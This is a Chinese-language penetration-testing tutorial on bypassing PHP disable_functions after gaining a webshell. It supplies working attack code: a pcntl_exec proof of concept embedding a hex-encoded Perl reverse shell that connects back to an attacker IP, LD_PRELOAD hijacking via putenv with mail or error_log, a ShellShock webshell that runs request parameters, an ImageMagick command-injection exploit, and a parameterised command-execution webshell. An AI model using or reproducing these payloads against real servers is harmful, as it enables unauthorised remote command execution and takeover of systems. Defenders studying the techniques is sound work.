前言 渗透过程中,当利用webshell执行命令时报错,蚁剑等工具返回ret=127
,查看phpinfo信息发现存在disable_functions函数禁用项时,说明存在disable_functions,此时需要进行绕过。
disable_functions是php.ini配置文件中的一个黑名单配置项,运维人员或安全管理员出于安全考虑会禁用一些危险PHP函数,如命令执行函数等,导致渗透过程中Webshell无法执行这些命令。如:
1 disable_functions: passthru,exec,system,chroot,chgrp,chown,shell_exec,proc_open,proc_get_status,popen,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,link等
常见危险函数功能:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 passthru ():允许执行一个外部程序并回显输出,类似于exec ()exec ():允许执行一个外部程序(如UNIX Shell或CMD命令等)system ():允许执行一个外部程序并回显输出,类似于passthru ()。chroot ():可改变当前PHP进程的工作根目录,仅当系统支持CLI模式PHP时才工作,不适用于Windowschgrp ():改变文件或目录所属的用户组。chown ():改变文件或目录的所有者。shell_exec ():通过Shell执行命令,并将执行结果作为字符串返回。proc_open ():执行一个命令并打开文件指针用于读取以及写入。proc_get_status ():获取使用proc_open ()所打开进程的信息。ini_set ():可用于修改、设置PHP环境配置参数。ini_alter ():ini_set ()函数的一个别名函数,功能与ini_set ()相同。具体参见ini_set ()。ini_restore ():可用于恢复PHP环境配置参数到其初始值。dl ():在 PHP 进行运行过程当中(而非启动时)加载一个PHP外部模块。pfsockopen ():建立一个Internet或UNIX域的socket持久连接。symlink ():在UNIX系统中建立一个符号链接。popen ():可通过popen ()的参数传递一条命令,并对popen ()所打开的文件进行执行。putenv ():在PHP运行时改变系统字符集环境。低于5.2 .6 版本的PHP中可配合利用sendmail指令发送特殊参数执行命令。phpinfo ():输出 PHP 环境信息以及相关的模块、WEB环境等信息。scandir ():列出指定路径中的文件和目录。syslog ():可调用 UNIX 系统的系统层 syslog ()函数。readlink ():返回符号连接指向的目标文件内容stream_socket_server ():建立一个Internet或UNIX服务器连接error_log ():将错误信息发送到指定位置(文件)。在某些版本的PHP中,可使用error_log ()绕过 PHP safe mode,执行任意命令。
绕过disable_functions 常见绕过方法:
使用未过滤的命令执行函数
exec,shell_exec,system,passthru,popen,proc_open,反单引号
等
蚁剑bypass插件
利用环境变量LD_PRELOAD绕过
利用php漏洞 实现命令执行
php7-gc-bypass(php 7.0-7.3):利用PHP garbage collector程序中的堆溢出漏洞触发执行命令
php-json-bypass(php 7.0-7.3):利用json序列化程序中的堆溢出漏洞触发执行命令。蚁剑插件实现。
利用Apache+mod_cgi+.htaccess
利用ImageMagick漏洞绕过
ShellShock漏洞绕过(CVE-2014-6271)
Windows COM组件绕过
Windows PHP拓展win32std绕过
利用PHP7.4的FFI绕过
PHP-FPM
To add
使用未过滤的函数 如果常见命令执行函数未被全部过滤,存在遗漏,则可以使用未被过滤的函数去执行命令。查看php文档中中所有的程序执行函数 ,常见函数system、exec等被过滤,可以使用popen、pcntl_exec等函数。
常见函数: system()、exec()、shell_exec()、passthru()
其他函数:popen()、proc_open()、pcntl_exec()
pcntl是linux的一个php扩展,用于多进程操作,许多PHP的CMS框架都会使用这个拓展。该拓展支持在php中以pcntl_exec函数执行指定程序。如果运维人员安全意识不强,则可能忽略pcntl扩展的相关函数。下面是利用该函数执行的POC,要求PHP 4 >= 4.2.0, PHP 5 on linux
。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 <?php $ip = 'xxx.xxx.xxx.xxx' ;$port = '443' ;$file = '/tmp/bc.pl' ; header ("content-Type: text/html; charset=gb2312" ); if (function_exists ('pcntl_exec' )) { $data = "\x23\x21\x2f\x75\x73\x72\x2f\x62\x69\x6e\x2f\x70\x65\x72\x6c\x20\x2d\x77\x0d\x0a\x23\x0d\x0a" . "\x0d\x0a\x75\x73\x65\x20\x73\x74\x72\x69\x63\x74\x3b\x20\x20\x20\x20\x0d\x0a\x75\x73\x65\x20" . "\x53\x6f\x63\x6b\x65\x74\x3b\x0d\x0a\x75\x73\x65\x20\x49\x4f\x3a\x3a\x48\x61\x6e\x64\x6c\x65" . "\x3b\x0d\x0a\x0d\x0a\x6d\x79\x20\x24\x72\x65\x6d\x6f\x74\x65\x5f\x69\x70\x20\x3d\x20\x27" .$ip . "\x27\x3b\x0d\x0a\x6d\x79\x20\x24\x72\x65\x6d\x6f\x74\x65\x5f\x70\x6f\x72\x74\x20\x3d\x20\x27" .$port . "\x27\x3b\x0d\x0a\x0d\x0a\x6d\x79\x20\x24\x70\x72\x6f\x74\x6f\x20\x3d\x20\x67\x65\x74\x70\x72" . "\x6f\x74\x6f\x62\x79\x6e\x61\x6d\x65\x28\x22\x74\x63\x70\x22\x29\x3b\x0d\x0a\x6d\x79\x20\x24" . "\x70\x61\x63\x6b\x5f\x61\x64\x64\x72\x20\x3d\x20\x73\x6f\x63\x6b\x61\x64\x64\x72\x5f\x69\x6e" . "\x28\x24\x72\x65\x6d\x6f\x74\x65\x5f\x70\x6f\x72\x74\x2c\x20\x69\x6e\x65\x74\x5f\x61\x74\x6f" . "\x6e\x28\x24\x72\x65\x6d\x6f\x74\x65\x5f\x69\x70\x29\x29\x3b\x0d\x0a\x6d\x79\x20\x24\x73\x68" . "\x65\x6c\x6c\x20\x3d\x20\x27\x2f\x62\x69\x6e\x2f\x73\x68\x20\x2d\x69\x27\x3b\x0d\x0a\x73\x6f" . "\x63\x6b\x65\x74\x28\x53\x4f\x43\x4b\x2c\x20\x41\x46\x5f\x49\x4e\x45\x54\x2c\x20\x53\x4f\x43" . "\x4b\x5f\x53\x54\x52\x45\x41\x4d\x2c\x20\x24\x70\x72\x6f\x74\x6f\x29\x3b\x0d\x0a\x53\x54\x44" . "\x4f\x55\x54\x2d\x3e\x61\x75\x74\x6f\x66\x6c\x75\x73\x68\x28\x31\x29\x3b\x0d\x0a\x53\x4f\x43" . "\x4b\x2d\x3e\x61\x75\x74\x6f\x66\x6c\x75\x73\x68\x28\x31\x29\x3b\x0d\x0a\x63\x6f\x6e\x6e\x65" . "\x63\x74\x28\x53\x4f\x43\x4b\x2c\x24\x70\x61\x63\x6b\x5f\x61\x64\x64\x72\x29\x20\x6f\x72\x20" . "\x64\x69\x65\x20\x22\x63\x61\x6e\x20\x6e\x6f\x74\x20\x63\x6f\x6e\x6e\x65\x63\x74\x3a\x24\x21" . "\x22\x3b\x0d\x0a\x6f\x70\x65\x6e\x20\x53\x54\x44\x49\x4e\x2c\x20\x22\x3c\x26\x53\x4f\x43\x4b" . "\x22\x3b\x0d\x0a\x6f\x70\x65\x6e\x20\x53\x54\x44\x4f\x55\x54\x2c\x20\x22\x3e\x26\x53\x4f\x43" . "\x4b\x22\x3b\x0d\x0a\x6f\x70\x65\x6e\x20\x53\x54\x44\x45\x52\x52\x2c\x20\x22\x3e\x26\x53\x4f" . "\x43\x4b\x22\x3b\x0d\x0a\x73\x79\x73\x74\x65\x6d\x28\x24\x73\x68\x65\x6c\x6c\x29\x3b\x0d\x0a" . "\x63\x6c\x6f\x73\x65\x20\x53\x4f\x43\x4b\x3b\x0d\x0a\x65\x78\x69\x74\x20\x30\x3b\x0a" ; $fp = fopen ($file ,'w' ); $key = fputs ($fp ,$data ); fclose ($fp ); if (!$key ) exit ('写入' .$file .'失败' ); chmod ($file ,0777 ); pcntl_exec ($file ); unlink ($file ); } else { echo '不支持pcntl扩展' ; } ?>
蚁剑bypass插件 Webshell管理工具蚁剑的bypass插件已实现一些方式绕过disable_functions和open_basedir等安全限制,渗透时快速食用可提高效率。代码仓库地址 ,主要代码在 core/php_fpm/index.js
里。
利用LD_PRELOAD劫持系统函数 LD_PRELOAD是linux的一个环境变量,它可以定义程序运行前优先加载的动态链接库,其主要是用来有选择性的载入不同动态链接库中的相同函数。这个特性可以被恶意利用,攻击者可以劫持程序加载的动态链接库,执行其中的自定义恶意函数。关于LD_PRELOAD解析可以参考:Reverse Engineering with LD_PRELOAD 。
举例说明:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 #include <stdio.h> #include <string.h> int main (int argc, char **argv) { char passwd[] = "123456" ; if (argc < 2 ) { printf ("usage: %s <given-password>\n" , argv[0 ]); return 0 ; } if (!strcmp (passwd, argv[1 ])) { printf ("Right password!\n" ); return 1 ; } printf ("Wrong password!\n" ); return 0 ; }
这是一个简单的判断密码是否正确的程序例子,输入正确的密码123456则会提示正确,否则提示错误。
1 2 3 4 5 ssooking@pc:~/Test$ gcc test.c -o test ssooking@pc:~/Test$ ./test 11111 Wrong password! ssooking@pc:~/Test$ ./test 123456 Right password!
可以用ldd或readelf命令查看一下动态链接库依赖关系
1 2 3 4 5 $ ldd test linux-vdso.so.1 => (0x00007ffe4dbfc000) libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f4dd927a000) /lib64/ld-linux-x86-64.so.2 (0x00007f4dd9644000) $ readelf -d test
通过readelf -Ws test
可以查看程序可能调用的系统API函数,但这个命令结果仅代表可能被调用的API,不代表一定调用。通过strace -f + 执行程序
可看到程序运行时实际的调用情况。
由于上面的代码调用了标准库里的strcmp()方法,我们可以重写strcmp()方法,攻击代码:
1 2 3 4 5 6 7 8 9 10 11 #include <stdio.h> #include <string.h> void payload () { printf ("Hijacked!\n" ); } int strcmp (const char *s1, const char *s2) { payload(); return 0 ; }
编译并加载动态链接库,观察加载前后的执行结果
1 2 3 4 5 6 7 8 ssooking@pc:~/Test$ gcc -fPIC -c hijack.c -o hijack.o ssooking@pc:~/Test$ gcc -shared hijack.o -o hijack.so ssooking@pc:~/Test$ ./test 111111 Wrong password! ssooking@pc:~/Test$ export LD_PRELOAD=./hijack.so ssooking@pc:~/Test$ ./test 111111 Hijacked! Right password!
发现加载了恶意动态链接库中的strcmp函数,使返回结果总相等,并打印了测试payload。
在php中,可以使用putenv设置环境变量,同理,绕过disable_functions思路:
找到要劫持的目标函数(系统调用)
生成一个恶意动态链接库文件,重写该函数
利用putenv设置LD_PRELOAD,加载恶意动态链接库文件
配合php的某个函数去触发创建新进程,从而加载被劫持的函数,如:mail,imap_mail,error_log,mb_send_mail、__attribute__ ((__constructor__))、imagemagick+GhostScript
执行需要的命令
例1:以 php的mail函数为例,通过劫持getuid 函数启动新进程
限制:从 strace 命令的结果看mail 函数的使⽤依赖于系统中存在的 sendmail 命令
1 2 3 4 5 6 gcc -c -fPIC test.c -o hack && gcc --share hack -o hack.so <?php putenv ("LD_PRELOAD=./hack.so" );mail ('' ,'' ,'' ,'' );?>
实战中执行不同命令需要反复编译上传文件进行劫持怎么办?
解决方法是劫持的函数中,写入执行其他脚本或程序的命令,如:
1 2 3 4 5 6 7 8 9 10 11 12 13 #include <stdlib.h> #include <stdio.h> #include <string.h> void payload () { system("echo `python cmd.py` > result.txt" ); } int geteuid () { if (getenv("LD_PRELOAD" ) == NULL ) { return 0 ; } unsetenv("LD_PRELOAD" ); payload(); }
cmd.py
1 2 3 4 import subprocesswith open ('cmd.txt' ) as fp: print subprocess.call(fp.read(), shell=True )
这样只需要修改 cmd.txt就可以执行不同命令,而无需重新编译。
如何找到支持创建新进程的函数?
php基于C语言开发,linux也基于C语言开发,函数实现上有相同之处。我们可以追踪php自带的函数执行时的函数调用,找到可以启动新进程的函数,但启动的方式不能是exec,system,passthru 等这种被过滤的。如原作者发现了php中的mail函数在运行时可以通过execve启用新进程:
1 strace -f php mail.php 2>&1 |grep -A2 -B2 execve
如:error_log函数也会调用execve创建新进程,
1 2 3 4 <?php putenv ("LD_PRELOAD=./test.so" );error_log ("test" ,1 ,"" ,"" );?>
优化 使用LD_PRELOAD劫持函数存在一些问题,如:
一、有些函数服务器不支持,如mail函数实际依赖的是sendmail,但是目标服务器未安装。
二、通过LD_PRELOAD劫持了启动进程的相关函数,如果劫持后启动的新进程同样调用该函数,那么如果不在新进程启动前取消LD_PRELOAD,则将陷入死循环。通常做法调用 unsetenv("LD_PRELOAD")
删除环境变量。这在大部分linux上可行,但在centos上却无效,因为centos自己也hook 了unsetenv(),在其内部启动了其他进程,还没有删除LD_PRELOAD就又被劫持,导致无限循环。
基于这些问题,有师傅做了一个优化,项目地址 。作者选择预加载实现__attribute__((constructor))
构造函数的动态库文件,该函数会在main()之前执行,因此无需劫持某个函数即可执行我们的代码。
项目中有三个关键文件:
bypass_disablefunc.php
bypass_disablefunc_x64.so
bypass_disablefunc_x86.so
bypass_disablefunc.php 为命令执行 webshell,提供三个 GET 参数:
1 bypass_disablefunc.php?cmd=pwd &outpath=/tmp/xx&sopath=/var/www/bypass_disablefunc_x64.so
一是cmd参数,待执行的系统命令;
二是outpath参数,保存命令执行输出的文件路径(如/tmp/xx),便于在页面上显示,另外该参数,你应注意web是否有读写权限、网络是否可跨目录访问、文件将被覆盖和删除系统等卫星;
三是sopath参数,指定劫持函数的共享对象的绝对路径(如/var/www/bypass_disablex64.so),另外,关于该参数,你应该注意网络是否可以跨目录访问它。
ShellShock漏洞绕过 利用ShellShock,即bash破壳漏洞(CVE-2014-6271)绕过。该漏洞存在于bash 1.14 – 4.3版本中,漏洞原因是以(){
开头定义的环境变量在命令ENV中解析成函数后,Bash执行并未退出,而是继续解析并执行shell命令。该漏洞要求php < 5.6.2,分析文章可参考PHP Execute Command Bypass Disable_functions 。POC:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 <?php function shellshock ($cmd ) { $tmp = tempnam ("." ,"data" ); putenv ("PHP_LOL=() { x; }; $cmd >$tmp 2>&1" ); error_log ('a' ,1 ); $output = @file_get_contents ($tmp ); @unlink ($tmp ); if ($output != "" ) return $output ; else return "No output, or not vuln." ; } echo shellshock ($_REQUEST ["cmd" ]); ?>
ImageMagick漏洞绕过 ImageMagick是一款使用广泛的图片处理程序,Discuz、Drupal、Wordpress等常用CMS中也调用了ImageMagick扩展或ImageMagick库进行图片处理,包括图片的伸缩、切割、水印、格式转换等等。但在ImageMagick6.9.3-9以前的所有版本中都存在一个漏洞,当用户传入一个包含『畸形内容』的图片的时候,就有可能触发命令注入,该漏洞可用于绕过disable_functions,EXP:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 <?php echo "Disable Functions: " . ini_get ('disable_functions' ) . "\n" ;$command = PHP_SAPI == 'cli' ? $argv [1 ] : $_GET ['cmd' ];if ($command == '' ) { $command = 'id' ; } $exploit = <<<EOF push graphic-context viewbox 0 0 640 480 fill 'url(https://example.com/image.jpg"|$command ")' pop graphic-context EOF ;file_put_contents ("KKKK.mvg" , $exploit );$thumb = new Imagick ();$thumb ->readImage ('KKKK.mvg' );$thumb ->writeImage ('KKKK.png' );$thumb ->clear ();$thumb ->destroy ();unlink ("KKKK.mvg" );unlink ("KKKK.png" );?>
PHP FPM绕过 php-fpm是一个fastcgi协议解析器,负责按照fastcgi的协议将TCP流解析成数据。PHP-FPM默认监听9000端口,我们可以自己构造fastcgi协议与fpm进行通信。参考文章:攻击PHP-FPM 实现Bypass Disable Functions
PHP FFI 绕过 PHP FFI (Foreign Function interface),是自PHP7.4开始提供的一个PHP拓展。该拓展让开发者可以方便的调用C语言写的各种库,实现了高级语言的相互调用。当PHP所有的命令执行函数被禁用后,通过PHP 7.4的新特性FFI可以实现用PHP代码调用C代码的方式,先声明C中的命令执行函数,然后再通过FFI变量调用该C函数即可bypass disable_functions。
Windows COM组件绕过 Windows环境下,当php.ini的设置项com.allow_dcom=true
时,可以通过COM组件执行系统命令,资料参考:PHP 5.x COM - Safe Mode / disable_functions Bypass
Windows PHP拓展win32std绕过 win32std是一个很老的PHP扩展,其中的win_shell_execute函数可以用来执行Windows系统命令,参考PHP 5.2.3 Win32std - ‘win_shell_execute’ Safe Mode / disable_functions Bypass 。
相关工具 https://github.com/verctor/BShell
https://github.com/teambi0s/dfunc-bypasser
https://github.com/obolu/Bypass_Disable_functions 搭建docker测试环境
参考